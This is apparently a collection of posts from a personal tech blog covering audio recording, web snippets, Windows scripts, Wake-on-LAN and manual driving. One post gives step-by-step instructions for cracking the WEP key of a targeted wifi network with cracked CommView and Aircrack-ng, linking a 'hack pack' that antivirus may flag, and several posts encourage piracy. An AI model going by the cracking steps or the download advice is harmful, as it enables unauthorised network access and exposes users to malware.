How to record audio mp3 from computer

Thought this might be useful to someone...
If you have audio playing on your computer (even without speakers, just audio drivers installed) you most likely can recoding it. It's really simple!

You will need:

• Working audio drivers (if listening to anything works - you have it!)
• Audacity

1. make sure your audio works, if you hear any sound from sites like youtube, or even test using the sample music in my music folder, the speakers don't have to be in for this to work. Also check if you see the small speaker icon near the clock.

2. Assuming this works go ahead and install Audacity, once done open it and go to the drop down that will show 'Microphone' (or something else?) choose 'Line in' 

3. click the record button (big red circle near the play and pause) if you start playing something with sound (i.e. youtube, music) you should see the audio waves move on it. If not stop, choose the 'Stereo Mix' and try again recoding audio while it's playing. Every computer seems to have a different one that works for it and some have various options so play around until you get which works for you.

4. once done recoding what ever you can click the stop button (square) and now save by clicking file, "Export as MP3" (this may require some other dll but it's not hard to find on google.) name it and your done!

Now you have your mp3 of music from youtube or other places without relaying on third party websites to convert (although there's nothing wrong with them converting it anyway)

Enjoy and let me know what you think in the comments below

change text color css onfocus onblur

this one seemed tricky but actually pretty simple, thought this code may look a bit clustered I admit there's probably a neater way since I only needed one place with this I didn't bother cleaning, if you do don't forget to hit me about it!

<input type="text" name="search" class="search" size="15" value="Search..." onKeyPress="if(event.keyCode == 13){ search() }" onblur="if(this.value==''){this.value='Search...'; this.className = 'unfocused';}; " onfocus="this.className = 'focused'; if(this.value=='Search...'){this.value=''};" />

This adds on to the previous post about search input text that will display "search..." and disappear when clicking it, this addition makes the text gray and back to black when use types into the box (on focus)

heres the css:

.search{
color:gray;
}
.focused {
color:black;
}

try it out and let me know how it goes!

WEP wifi hack windows 7

SEE ANSWER

I never found instructions for windows 7 so after 2 days of testing came up with solutions that worked for me, follow these 10 steps and let me know if it works in the comments here.

Please purchase these instructions for only $4.99 (USD) here:

Watch the youtube video

You will need:

• windows 7
• compatible wireless card
• wep hack pack (Warning: Some AVs might detect this as a virus. Download: 2shared-mediafire-sharebees-bitshare-4shared)

Data Gathering
1. Install commview: go to the commview folder in the package and double click setup, follow the install nothing special but once done it will fail saying it's not compatible with vista, ignore that.

2. take the crack file and place it in C:\program files\commviewwifi\ (or program files86 if you have 64 bit windows), it will say something about overwriting accept it.

3. Next right click the file cv.exe and click properties, compatabilities and select windows xp sp3 and run as administrator.

4. run it, now if you can click the play button your drivers work your lucky and can skip to number 7

5. otherwise you can close the program and right click computer, manage. go to Device Manager and find your wireless card that you are using (under network adapters) now right click and Update driver software...

6. Browse, Let me pick, Have Disk, Browse
Locate the pack included and go to Driver or NewDrivers (one should work for new as there's different versions [thanks logan perkins]), ok it and see if it finds your drivers
If successful open the CV.exe again and you should see the play button highlighted it worked and you can continue

7. click it and select Scan find the network you are targeting and begin the capture
Note make sure to check the logs to autosave and increase the size to 1000Mb and 100mb per log
They will be located under the program files directory of commview, LOGS

Cracking
It can take 4-8 hours of gathering packets (might be less or more depending on how lucky/unlucky you are - took me around 20 hours because of weaker signal strength), once done you can continue to crack the data to gain the passphrase shared wep key:

8. Open the logs with commview, file, export, Tcpdump files (*.cap) save whatever name you like

9. Go to the pack, aircrack, Aircrack-ng GUI.exe, browse to the files, choose 64 (or leave at 128 if determined it) and launch

10. wait for the loading and press 1 and enter, the cracking begins and when done you should get the key.

Note to remove the colons and use just the numbers (maybe letter characters too?)
Report back and let us know in the comments below (note: the comments section was getting too big so I have moved the previous comments here: http://eduboris.blogspot.com/2012/07/wep-wifi-hack-windows-7-comments-user.html you can still comment here but I will move it there for organizational purposes.)

Done...

Thanks for visiting.

enter key submits without javascript

What was absolutely mind boggling to me is when my script had input tags that would work just fine when pressing enter, running the javascript and others that wouldn't. To explain further heres the code that was in the input text tags:
onKeyPress="if(event.keyCode == 13){ search() }"

Here you see the event which is equal to enter (when enter is pressed) should run the function of javascript (in this case search which does... you guessed it, search) anyway the problem was it would submit the form in the get method in the simplest way that my website couldn't interpret because it's a little more complex and sends stuff inside files... to the solution!

add this code to the body tag at the top of the pages with this issue:
OnKeyPress="return disableEnterKey(event)"

and add the function to your general javascript or somewhere at the header depending on how you do things:

function disableEnterKey(e){
var key;
if(window.event)
key = window.event.keyCode; //IE
else
key = e.which; //firefox

return (key != 13);
}


This solved my issue, source and credit for this solution (although with a small misspelling) goes to this link: http://www.bloggingdeveloper.com/post/Disable-Form-Submit-on-Enter-Key-Press.aspx

refresh div html with js

With a small mod for my particular project the code from this site was perfect: http://designgala.com/how-to-refresh-div-using-jquery/

In my case I wanted to refresh when something else happened and this was the simplest for me to implement. heres the code:

this on top of the page (script)src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.0/jquery.min.js">
( script)

This in the ajax.js

function navrefresh(){
setTimeout($('#navigation').fadeOut('fast').load('containers/nav.php').fadeIn("fast"),1000);
}

of course i liked things fast (they had it slow on that site above) and the correct div ID as well as the php page to load the right things..... now just call this function where needed and your all done!


ps. i still didn't figure out how to use the html tags without blogger thinking it's html?
update: found it in the > post options, compose settings "show html literally"

autoplay autostart mp3 music on startup

It was a quick project to setup an 'on hold' music server, but this can be used for countless other projects such as a jukebox or whatever you can think of, get creative :)

Very simple, first you will need VLC, used this for many years now, updates constantly but i'm sure older version can work too.

Second you need a playlist of the music, mp3s or wma etc (most will be played by VLC, that's what it does :)
I had created mine by opening VLC, click on the 'show playlist button' drag and drop all the music into the middle, wait for the processing and click "Media" > "Save playlist to file", named it and I choose the m3u extension.

Third part is the command line, as follows:
"c:\Program Files\VideoLAN\VLC\vlc.exe" -Z "c:\mp3\onhold.m3u"

In my case I used -Z to shuffle because I want it to keep going and in a random order, there are many more options found HERE

Create the scheduled tasks to load this playlist on start up:

Control Panel, Scheduled Tasks, right click, new scheduled task, in the properties place the absolute path to this script file or simply the line above in "Run" and under schedule choose "At login" or "At startup", save and now when you reboot this will start!

Note: 1.keep all the files in place, if directories or names change that may affect the music from playing.
2. Once the command is executed you will see VLC start with preloaded settings and playlist songs.
3. You may see the black command prompt window, this can be closed in most cases without lose of music.

Let me know how it goes!

Mulve no more

All good things come to an end... this one is no longer available for download but also the program unrelated to the site (so i thought) doesn't function anymore either...

too many legal issues? http://torrentfreak.com/police-repeat-oink-mistake-mulve-accusation-conspiracy-to-defraud-101012/

Mulve.com music discovery

Once again the music industry should be rethinking selling mp3s.
Heres an amazing new application that allows fast download of music.

It's small (~2Mb)
It's fast (~400KB/s)
and best of all it's safe (no uploading, no sharing, just untraceable download)

Well that's it for this post and let me know what you think of mulve
and what you think the music industry

[update] this one has been closed so to keep archive of the exe file it's found HERE or here
It doesn't seem to work for me but let me know if it does for you!

How to download mp3

There are many ways to download mp3's these days, simplest and most legal seems to be youtube to mp3 converting, via websites or other tools (record or download).
Record labels have finally realized the great potential of allowing copyrighted songs to be used on youtube, therefore anything that is on youtube can and will be converted to mp3 via the many methods out there.

The simple how-to is as follows:
1. grab the url of the video with song/sounds your interested in downloading mp3 format
2. past it into site such as video2mp3.net and wait for conversion, download will auto start 20 seconds after completion.

As simple as that!

On this note I will conclude that if it's so easy to get the mp3 from youtube, knowing record labels have allowed singles to be put on youtube, they should just drop the act or even attempt at getting money for something that we can get free. But this free can be used to make profit in other ways; for instance the videos that get played also often display adverts which are capital generating in them self. And I think the conventional method of obtaining music in cds, records or otherwise will die out and eventually artists will have to make performances that draw a crowed, such events are the real capital generating for musicians these days.
So the spread of free music can just help to draw such capital from concert events and advertising power for other products.

All I know is that the entertainment industry is digitizing and with this change so will the profit generating methods will change and they should just accept and embrace the change to find new ways of making money instead of trying to reinforce the old conventional methods that will no longer work today.

How to open files with applications

Also how to perminantly set those extensions to open with the applications (unless of course you install other applications which change which extensions are associated with them...)

To make things simple you must get familiar with the properties of files, a file is simply anything that is not a folder (folders are yellow folder icons in microsoft windows operating systems), anyway i'll assume you know this part and move to the fun part:
Right click the file with extension which you want to permanently set to open with particular application

Phishing attacks

I have been recently witnessing a lot of phishing attacks, in particular email messages from what appears to be legitimate sites such as banks and classified types of sites etc. showing links with correct text but href pointing to phishing sites which often hosted on free or even paid hosts.

how to spot phishing attacks you ask?
sometimes it's simpler then others but exercise common sense and caution when receiving emails that you are not expecting to arrive, and even those you expect, inspect them carefully.

I have several examples but it may be safer not to post them for now.

Neuro-Programmer 3

Neuro Programmer (Formally known as neural noise synthesizer) is a cool program that was has audio clips to help do various tasks. For example there are audio clips ranging from 10 to 50 minutes to help fall a sleep faster, get motivated, get energized, concentrate to be creative, learn or prepare for tests, etc.

Once installed you have a trial for 15 days at which point your required to buy a license.

I'm experimenting with various clips to see if they work, so far the sleep thing didn't work for me but it has in the past.

Download the program here: http://www.transparentcorp.com/products/np/download.php

To get fuller version you may or may not be able to use a peer to peer program but you didn't hear it from me!

P.s. you can also record the audio straight from the program while playing it using Audacity.

Let me know about your experiences :)

PHP never expire vs timeout cookies vs sessions

As mentioned earlier I have a newly found hobby with PHP MySQL programming, and after lots of trial and error in the development of this project I found a working method for a 'remember me' button and the expiring cookies and sessions.

The first part is login script, here you will determine if they want to be remembered in our terms this means to never time out the user. This is done with simple cookie to set the expiration a week from now, here is my code:

$long=time()+60*60*24*7; //Setting up the expiration time
$short=time()+60*25; //short time (25 minutes) for those without 'rememberme'
$username = $params['username'];
//Check whether the remember me box is checked
if (isset($params['rememberme']) && $params['rememberme'] == "on"){
setcookie('username',$username,$long); //username cookie and long expiration
setcookie('expire','no',$long); //expire is set to no
}else{
setcookie('expire','yes',$short); //expire is set to no
setcookie('username',$username,$long); //username cookie with short expiration
}

Easy right?
Next setting the users that will be timed out after inactivity I decided 25 minutes are enough because it is also the time default sessions get timed out.
Notice that the username cookie is still with a long expiration, the expire cookie is in control of expiration and the username just saves the username data which is required in various places to determine access and such.

After the login page you will need a function that is called every time something is requested, (in order not to annoy the users and only time out after inactivity) this can look something like this:

function check_login(){

if ($_COOKIE['expire'] == "no"){

$_SESSION['user'] = userInfo($_COOKIE['username']); //reset the session

}elseif ($_COOKIE['expire'] == "yes"){

setcookie('expire','yes',time()+60*25); //reset the cookie time

$_SESSION['user'] = userInfo($_COOKIE['username']); //and session

}else{

echo " Session timed out. To login  input type=\"button\" value=\"Reload Page\" onClick=\"window.location.reload()\"";     //use the tag opening before input, blogger messes here lol

exit;

}

More coming soon...

Ultimate FTP/SFTP text editor winSCP

Today's cloud computing put to the max by my newly found hobby of coding in PHP/MySQL and JavaScript (plus a little CSS) but it was only made more enjoyable when I found the great way to edit the code visually.

So I thought to share it with the loyal eduboris blog followers!

First component is the FTP/SFTP, the free and open source windows application I found is WinSCP
Second is the editing, while the default editor is OK for quick fixes it definitely is not something you can use to code, so for many years now I used Notepad++.

To combine the two and have a truly cloud computing coding environment go to WinSCP (while logged in) Options>Preferences>Editor>select the first one and click Edit> choose external editor and browser to your Program files and find notepad++ directory, and executable (if you installed it, otherwise go to the extracted folder)

From here on in consider your ultimate sftp text editor setup and ready to use!
The features I really like about Notepad++ are:

• Default language detection with color coding
• Default line count and word wrap
• Great stability under huge files (6k+ lines)

Anyway feel free to comment about this and let me know what you think below.

IE8 block sites how-to

After some review of IE security and noticed a flaw (read more) I needed to block users from all sites except those allowed. I used the IE content advisor and GPO to do this.

The first step is to create a septate group policy object or use a common one with other IE changes to help in the organization.

Once you have your group policy object editor open navigate to "User Configuration" > "Windows Settings" > "Internet Explorer Management" > "Security" and open "Security Zones and Content Ratings".

Click the radio button "Import the current content rating settings".

In the Content Advisor window click the Approved Sites tab there you will add the domains, sub-domains or IPs you approve or disapprove of and this will affect users that this policy applies to (it seems to also affect the server).

If you need more info, screen shots or other details let me know in the comments below.
Enjoy!

IE8 lockdown report

This is not a flaw with Internet Explorer at all, the flaw was in the security theory. Even though I had sites blocked before locking IE, I decided to lift the block after removing the address bar which I thought was the only way to get to other sites... this was not the case and I was so intrigued by this one that had to write a little report about it.

After locking IE and the entire user profile down I was convinced that users cannot go to any other sites than those we intended, i.e. the home page and links on desktop and without an address bar they couldn't get anywhere else. What never even crossed my mind and I had not thought of, is that one of our links' webpages was leading to google maps to show an address, seems harmless enough but from there the user can simply click on the web search and google anything and get to where they want! (assuming it does shows up on google of course - at least there will be no malicious sites)

The solution is another group policy object to only allow IE to get to sites we decided (read post), can include google too but if they try getting to another site it will be blocked.

So there you have it folks, even with security in mind you cannot always think, see or find the flaws in your system until it is used in production with real users daily tasks and them trying to exploit the system. In this case: with no address bar it is still possible to get to any site you want via search engine if it's linked ANYWHERE.

Let me know what you think in the comments below.

Hacker Documentaries

I was always fascinated with the concept of hacking, discovery of new ways to do things unimaginable. Applied to computers and networking it's very intriguing. So I started collecting documentaries about hacking (stream from megaupload):

• Freedom Downtime

Let me know what you think in the comments!

How to Download and Stream from MegaUpload

It's really quite simple, note you will need VLC installed and either Firefox or Chrome as your browser.

Watch the video and read instructions below:


1. [Update: this part is now skipped by megaupload: start from step two, I will keep it for archive purposes] First you are going to get to a download page, enter the code and hit download file
(Example: http://www.megaupload.com/?d=EBRH99AC)

2. Next you wait for the counter which will take 45 seconds without an account or 25 with an account (sign up is free).

a. This   

b. Will turn into this

3. Now you simply click Regular Download image button and the download starts! (you may close the window but don't close the browser so the download can finish)

4. If the file is avi/divx type (extension doesn't always matter), streaming will work with VLC and firefox/chrome, go to the download location (normally at My Documents>Downloads) Right click the file (which will be named appropriately, in firefox the extension is .part and as of 10/22/2010 chrome changes the extension to .crdownload) > and click Play with VLC media player (if the option you may need to restart or reinstall VLC player)

5. VLC will give the message "AVI is broken..." (it's because the file is incomplete, because it's in the process of download!) just click Don't Repair and the streaming video will start!

Note: depending on your connection (and other factors), VLC might stop playing - check if something interrupted the download (remember not to close the browser!) or just slow download speed, just wait a few minutes and repeat step 5. again. If it's too slow you may just prefer to wait until the download is complete.

Enjoy!

NinjaVideo is no more

After giving it some time and waiting to see if the site comes back up I am pronouncing it dead today, here is a last gimps at the wonderful site before it disappears from the cache (no longer there)

It made us cry, it made us smile but now we look forward to the next pirate streaming site that will provide us with mindless entertainment for countless hours and chew more bandwidth then our ISPs can swallow .

We loved it for so many reasons.

Pop culture and underground mashed up into one, a place like this is truly unique and let's hope the other sites can handle it, but the real question is when will the feds stop taking down those sites?

Maybe one day we will figure it out... until then, ROCK ON pirates!

A hate site to that has suggestions for alternatives could come in handy now.

Useful linux commands

Found an old post didn't publish here yet, so here it is.

Useful linux commands:

• nmap
• uname -a
• modinfo
• edit /etc/fstab to add a mount when booting
• edit /etc/inittab to change runlevel when booting (id:3:initdefault:)
• scp somefile user@IP:/home/user/directory
• [root@localhost ~]# PS1=$
  $   (to change prompt)
• change hostname (localhost):
  [root@localhost ~]# hostname localhost.localdomain
• add services to runlevels:
  chkconfig --level <number> <service>
  chkconfig --level 3 httpd
• tail -f    to keep outputting as the file grows
• any ideas on how to solve this mail.txt -email theborisedu@gmail.com
  

redirect http to https multiple domains

After the torture of trial and error I have devised a working .htaccess way to redirect http to https while having multiple domains, follow the steps below.

First task is to have the /secure directory secure with https, in this directory create the .htaccess and place this text:

RewriteEngine on

RewriteCond %{http_host} secure.domain.ca [or]

RewriteCond %{HTTPS} off

RewriteRule ^(.*)$ https://domain.ca/secure [L,R=301]

You can place this anywhere else that you want redirected (i.e other domains), basically users will try hitting the http and redirect to that domain with https!

Second is having the / domain not secure (if your certificate isn't *. users will get a warning, we don't want that), and it will have different subdomain in this example (www1). In the root directory place this in .htaccess:

RewriteEngine on

RewriteCond %{http_host} ^domain.ca [or]

RewriteCond %{http_host} ^www.domain.ca [NC]

RewriteRule (.*)  http://www1.domain.ca/

And now waiting to see if the mx records work...

Mercury KPC-6225V Driver download

Noticed that the webcam drivers could be hard to find, so here is a distribution of the Mercury KPC-6225V Driver for download.
Filename: Mercury-PC-CAM-WEBCAM-Driver-KPC-6225V.zip
Size: 607.48 MB
Link: http://www.megaupload.com/?d=BCVB5FR4

how to stream movies videos ninjavideo

In particular, this will fix the issues some videos are having. For example the sound is off and the picture seems incorrect, also if you hit the 'download' button but want to stream (watch the movie without having to wait for the download to complete).

What you will need is VLC player (of course to work with ninjavideo you need java and older version of divx installed [firefox or chrome is also recommended]).

The simple version: go to My Documents/My Videos in XP or Videos in 7 or Vista (%userprofile%/My Documents/My videos/ or where your directory is located). Navigate to DivX Movies\Temporary Downloaded Files/ and find the movie or video that you want to watch. It will have .part extension simply open this with VLC and hit "Don't repair" if prompted, now you are watching the streaming movie in VLC instead of DIVX!

If you are downloading the movie via the download button, use firefox as it will not work with other browsers I tried. Find the .part file where you are saving the file (Desktop or My Documents/Downloads) and play it with VLC.

Make .part files open with VLC by default for ease of use.

For more info check the post about streaming megaupload.
Let me know what you think in the comments below.

SchTasks for backups with examples

It's easy to find the switches here but not so easy to find working examples.

Following up on the previous post(s) to schedule a tasks use this example:
schtasks /create /tn "Check server Mon-Fri at 8am" /tr c:\scripts\checkserver.bat /sc weekly /d Mon,Tue,Wed,Thu,Fri /st 8:00:00 /ru %computername%\%username% /rp %pass%

The computername and username are set by the system, you will need to specify the password:
SET pass=mySecurePass

So your script can look like:
SchTasks.bat

@echo off

SET pass=mySecurePass

echo Adding Check Server scheduled task...

schtasks /create /tn "Check server Mon-Fri at 8am" /tr c:\scripts\checkserver.bat /sc weekly /d Mon,Tue,Wed,Thu,Fri /st 8:00:00 /ru %computername%\%username% /rp %pass%

echo.

echo done..

pause

NOTE: if you are using a domain instead of workgroup you will need to specify that instead of %computername%.

network monitor

Took me some time to find the right components, finally got it to work and this will help me a lot!

The dependencies are:
1. The mail program, best one (or only one) I found is HERE (more info and alternate download), get the one with STARTTLS (if using gmail), I saved it under %systemroot%\system32 and renamed to mail.exe for ease of use but you can leave the name (change in script) and place in same folder as script if there are security concerns.

2. Sleep command found HERE.

checkServer.bat
============================================
@echo off

SET ip=192.168.1.100
SET wait=300

echo Checking if server (%IP%) online...
ping %IP%

if not errorlevel 1 goto :eof

echo.

echo Attempting to start VMware...
start vmware -x "D:\vmware\server\server.vmx"

echo Retry in %wait% seconds
sleep %wait%
ping %IP%

if not errorlevel 1 goto :eof

mail -f my@gmail.com -d gmail.com -smtp smtp.gmail.com -port 587 -t my@gmail.com -sub "SERVER DOWN!" -from my@gmail.com -cc techsupport@gmail.com +bcc -v -starttls -auth -user USERNAME -pass PASSWORD -M "Please check server (%IP%) now!"

pause
=============================================

substitute the IP, emails, NAME and PASS to your gmail username and password.
Also which actions you want to do, if vmware check your location... etc.

Test it, and now all that's left is to schedule the script... those and more coming up in next posts.

Let me know how it goes!

My type of Beer

The beer with my name....

how to stream movie videos from megaupload

This is surprisingly, very simple to do, you will need:

• Firefox or Chrome
• VLC

------------------------------------------

I will assume these are installed with fairly default settings and that you have a working video link to megaupload (example).

1. You can go ahead and type the code, wait for 20-40 seconds and click download.
2. Once the the download starts navigate to your download folder (normally in My Documents\Downloads)
3. There, you will see the filename of what you are downloading, using firefox it will be an empty file but  *filename*.part  can be played with VLC, if using chrome you can play the normal filename with VLC!

If you are unfamiliar with how to open in VLC: 

-Right click the *.part file > Properties > under Opens with click Change
-Find and select VLC media player > click OK and again OK.
-Now simply double click the file and you can start watching the video/movie!
Done!

For NinjaVideo streaming go check my newer post.

Let me know what you think, or if there are any issues... print screens coming soon!

Prohibition in the 21st century

Many already know the prohibition continues in the USA and majority of other countries... here is a more recent look at what is going on in California: How Weed Won the West part 1 and part 2

Although President Obama promised to allow marijuana to be categories as conventional medicine, and allow state law take presidency over federal law, the raids continue. DEA take the crops, cash and trash the place from further business while the economy suffers - it seems the two just cannot be linked. Governor Schwarzenegger also agree in 2009 that the deficit is so large marijuana taxation will enable to keep schools open and violent prisons in jail.

This is so clear to so many yet it feels nothing can be done, maybe the few that benefit are more powerful than the many that suffer and so life carries on being the way it was...

For those stumbling here and interested in more videos check out the following great documentaries:

• The Union: The Business of Getting High
• Marijuana Inc.: Inside America's Pot Industry
• High: The True Tale of American Marijuana
• Cocaine Cowboys

more coming soon...


As always let me know what you think!

Why not to use wireless keyboards

It seems like everyone has those cool wireless keyboards, but in the security world we explore everything and guess what has a weak encryption and can be hacked?

Of course it's the topic of this post...

Anyway I just thought it was important to get the word out there and inform the citizens of another security threat.


Keyboard Sniffer Keykeriki from Max Moser on Vimeo.

The device is not (yet) for sale but can be made by anyone with some soldering skills, once made it can reach 75 meters and the software is open source downloadable but probably will require some learning or even experience with Linux/Unix.

Needless to say this is not only dangerous of eavesdropping on peoples conversations but passwords, credit cards and whatever else is being typed on those wireless keyboards of sensitive nature - can all be picked up over the air waves by soon-to-be-sold device and free software already available... [see bottom]

Common wireless keyboard manufacturers (Microsoft and Logitech come to mind) don't give users a fauls sense of security when it's clear those are insecure!

Also you should probably work on a better encryption, try getting some help from those who hacked your keyboards for starters....

For more information check out remote-exploit.org's project.

Wake on LAN command line script

Automate the Wake On LAN (WoL) by scripting a small but smart script.

First, make sure your hosts can wake on LAN, you may have to check the bios but also make sure to enable  wake function from windows, test that it works with the WOL GUI if you'd like and move to the next step when it works.

Second, download the wolcommand from here, I like to place it in C:\WINDOWS\system32 folder so it can be accessed from anywhere in the local system but you can place it in the same folder as the script which makes this command a dependency for the script.

Third step is the scripting portion, as described at the bottom of enable WoL in windows save all the MACs if there are multiple hosts you want to wake up, in my case the list is as follows:

pc00: 00-07-E9-xx-xx-xx

pc01: 00-07-aa-aa-aa-aa

pc02: 00-07-bb-bb-bb-bb

Place as many MACs as needed in this text file, we named it ip-mac.txt but you can name it anything else and have any other delimiter but make sure to edit the script below accordingly if you do have changes.

Now the fun part:

FOR /F "tokens=2 delims=:" %%G IN (ip-mac.txt) DO wolcmd %%G 192.168.1.255 255.255.255.255

pause

Named it wol.bat (or anything you like) and run or schedule with at command or  The first line is a FOR loop that takes the second field with colon delimiter (:) then execute "wolcmd " with each of the MAC address lines, it may help to learn more about FOR loops to understand this for your case.

Second line is a pause which will wait for user input any key, I just want to make sure the commands were successful otherwise the command window closes before you blink.

Anyway, this seems to work with most PCs, I am also considering placing a sleep few seconds between each MAC wake execution to give the packets time to leave before sending the next.

Let me know what you think!

Enable Wake On LAN Windows XP

In order to wake the computer from the Local Area Network you may need to check the BIOS to allow this but since there are too many different ones I will cover the Windows XP enabling (same with server 2003 and similar to older and newer versions of windows operating systems).
On your PCs Network Interface Cards (NICs) you require to "Allow this device to bring the computer out of standby", and here is how to do it:

1. First locate the Local Area Network properties, normally can be found in Control Panel > Network Connections (Fig. 1) double-click your network connection to get to the Status

Fig. 1

2. Next in Status click Properties:

Fig. 2

3. Now in the Properties click Configure:

Fig. 3

4. Now click the "Power Management" tab and select the check-boxes with the wake on LAN capabilities.

Fig. 4

Since with the Intel drivers this section looks different for me, here is a more common look for this tab:

Fig. 5

You will need to check the bottom two boxes and click OK until there are no more open.
And this will -in theory- allow you to bring the computer from a turned off or standby/hibernate state to a powered on and running state.

There are various ways of doing this: Make sure to record the MAC Address found in Support > Details of Fig. 2

Fig. 6 

Press Ctrl+c to copy these details and past them into a noetpad text file and save it for future references.

Next, there are many routers that have the capability to wake the computer's by MAC, either by default firmware or upgraded, in any case I prefer the software on a server in the LAN, so the while the rest of the computers sleep the server can be scheduled to wake them up via the WOL software which can be scripted in my next post.

How to drive a manual / standard shift gear car

Update: Since I wrote this I have learned quite a bit more about how to drive better, smoother and feel like an automatic car to your passengers and compiled some tips:

#1 my main mistake was not staying in gear long enough, this feels slow and depending on your car power you may need to play with your situation but in my car I found staying until 3 or 3.5 thousand RPM (revolutions per minute) was optimal - unless of course you're in traffic when you don't need that much power and the driving style changes. So this helps avoid the jerk feeling or slowing down when specially when shifting to the second gear since you need more power to get moving and the car is not yet moving fast, stay with the gas until you reach 3,500 RPM and when you plateau on the accelerating you can clutch, let go of gas, shift to second and slowly+smoothly engage the clutch. Same idea for the rest of the gears depending how fast you need to go (street or highway).

#2 when reversing, or rather when sliding the gear into reverse make sure the car is not moving (even a little) because in my car's design it will not allow the gear to enter R if the car is moving even slightly in any direction. First gear will let you slide in as long as your gown <15km/h, also while we are on the reverse topic, the clutch engages a little faster and unless you plan to go far in reverse you probably won't let the clutch out fully. I end up reeving a little and slowly engaging until I get far enough and can go forward.

Feel free to comment your tips, experiences, thoughts etc I know I'm not a pro and far from it...
------------More will be updated as I get them, here is the original article:

A long awaited journey on the learning curve of the manual/ standard shift gear car has began two weeks ago and I wanted to report back on the educational (edu blog) experience.

First, how to get things started, 5 gears and reverse, clutch on the left, break in the middle and gas on the right as usual. The clutch is the most important piece because it is the most used and toughest part in my opinion.

Second, to get moving, clutch has to be all the way down to the floor, start the engine and slide the gear in place.

Now you can press the break and release the hand break (all the while keep the clutch all the way down).
Once in gear and ready (first or reverse - depending where your going) you need to release the clutch very very slowly, this is important, releasing too far will stall the engine. Centimeter by centimeter you release the clutch very small movement of the pedal until you feel the car moving in the direction, or you see the revs get lower but don't let them drop any further without giving gas, because again this is where the engine will stall.

This is the most critical point of driving manual cars, getting from 0 is the toughest in my experience and I'm sure for many others. But from people's instructions and even tutorials on the net (even youtube videos) I noticed the teaching doesn't get me where I am going, anywhere.

So, again, keep the break on, clutch all the way down, release very very slowly until you feel some movement, practice this until you find the 'grip point' of the clutch - where it engages the gear to the wheels.

You don't have to know the mechanics but it helps, once you feel the engagement of the clutch, keep it there and start applying the gas - slowly as well, you don't want to rip it now!

Put the revs above 1, at 1.5 should be sufficient for most cars, at this point the car shouldn't even roll back if you are on a hill, so we solved that problem as well.

Now continue releasing the clutch - still very slowly or the car will jerk, until your left foot is completely off the clutch and now you are moving!

Step three, changing the gears: this one is often overlooked as the getting started part seems tough enough.
Well, from my experience you still need to be very smooth with the clutch in order to not make your passengers seasick, and of course avoid hardware problems in your car mechanics.

Okay, so your at 2.5-3 thousand RPMs of the first gear, you need to switch. Press down the clutch - all the way to the floor and this doesn't have to be smooth, actually best to do this fast [edit: easing off the gas should be smooth as to not launching your passenger forward]. Keeping the clutch down you switch the gear from first to second and now comes the clutch re-engagement part. Don't drop it or else you will jerk the car!

Release the clutch about half way until the engaging point and now smooth out the clutch at a slower release while reapplying the gas, smoothly. Keep in second gear for another 20KM/H or 2.5-3 thousand RPMs again until switching to third, fourth and fifth (unless you have a sixth). From there it is mostly smooth sailing.

Slowing down: down-shifting should still be done smoothly as described above, clutch release is the challenge as always and in this case we can't re apply the gas (unless your using heal-tow maneuver) so you need to get the right gear for what's going to happen next, predicting isn't tough in driving since you know you will need to accelerate after you get past a turn, therefore dropping the gear to second or third, or simply neutral if your coming to a stop (don't down shift to first unless your speed is below 20km/h)

Coming to a stop you should clutch again but don't put in first gear until you are ready to reengage, no explanation for this, just how it is. In other words until you reach 0-10 you should not switch to first gear.

Turning, most of us turn at 30-40KM/H which should put you at 3-4th gears is what I found from experience.

Stop and go traffic will probably put you at 1,2 and sometimes 3ed gears, clutching and if you're like me, using the neutral so my left foot can rest (release the clutch on Neutral).

If you have questions, leave a comment or email.
I will try to get a video put together but it's proving difficult to drive and hold a camera at the same time...
Check out youtube for other people's explanations, but some can be misleading and not entirely great...

Free Windows Software

I compiled a list of Windows software that are free (as in free beer), most are also open source (as in free speech) and I use those commonly for daily tasks, sorted by relevancy and by categories:

To make easier to install all the programs use: ninite.com

• Internet Browser - Chrome or Firefox or Opera or TorBrowser

Media:

• Print Screen and Upload - Hyperdesktop or ShareX
• Visual Text Editing - Notepad++ 
• Video/Audio Playback - VLC player or CCCP
• Video Converter - FormatFactory or HandBrake
• Audio Editing - Audacity
• Audio Converter - freac
• Picture/Image Editing - gimp
• Screen Recording - CamStudio or Free-Screen-Video-Recorder
• iPod music upload - Winamp
• Time-Lapse - panolapse360
• CD burning - CDburnerXP
• USB bootable - Rufus
• CD ripping - cdex or exactaudiocopy
• CD/DVD image/data burning - ImgBurn
• CD/DVD emulation and image mounting - MagicDisk
• E-book (epub) management - calibre-ebook
• Torrent Client - qBittorrent
• Torrent Index Search Engine- torrentz.eu or bitscoop or piratebay 
• Monitor color comfort - f.lux
• Web server bundle - WampServer or Xampp
• Office Productivity - LibreOffice.org (or OpenOffice.org)
• Fax - FaxZero
• PDF signing - HelloSign

Security/Administration:

• Anti-Virus - Avast or AVG or Virus Total or BitDefender
• Anti-Spyware - SpyBot
• SSH Client - Putty
• SSH Server - OpenSSH or WinSSHD
• FTP/SFTP client - WinSCP
• Secure password keeping - KeePass or passwordsafe
• File encryption - VeraCrypt or 7-Zip
• Archive and Compression/Decompression - 7-Zip
• Automate Windows - AutoHotkey
• Virtualization - VMware Player or VirtualBox
• CPU temperature/fan speed - Speed Fan
• Optimization and Cleaning - CCleaner
• Remote Desktop - UltraVNC or TeamViewer or Join.me
• Remote Resource Monitoring - Nagios
• Website Monitoring - Pingdom (hosted) or WebsiteMonitor (local)

Hope you enjoy those as much as I do, I will keep updating this as I find more, any suggestions/ideas/comments are always welcome! Thanks for visiting :)

Last update: May, 2016

MySQL backup script on windows cmd

Just needed to create a windows backup script so thought I would share my findings:

You can download the MySQLBackupScript.zip (1816k) if you're ready to use it or just view the script, otherwise proceed to the explanation.

Dependencies: don't forget you will need mysql.exe and mysqldump.exe which can be obtained from the mysql website and are also provided in the zipped file download link above.

First we use @echo off to hide the commands executed and only display the text after the "echo" command.
Next, I display a message to deter the user from closing the window (since this stops the script) because I need it in my case - it pops up from the scheduled tasks and might be used at the time so it must be clear to the user to not get closed - but you can change this how ever needed, even no output text is possible by avoiding all the echo commands in the script provided.

Now to the meat of the script, the mysql commands;
mysqldump syntax is
mysqldump -uusername -ppassword -hhost.com databasename > backupfile

mysql syntax is
mysql -uusername2 -ppassword2 -hhost2.com databasename2 < backupfile Using the %date:~7,2%-%date:~4,2%-%date:~10,4% command will produce a day-month-year to help distinguish the backups (i.e. backup19-02-2010.sql as formatted in the script). Finally, schedule a task on the machine that will be doing this by going to control panel > scheduled tasks > right click > new > name it and go to properties, find the script location and set the schedule.

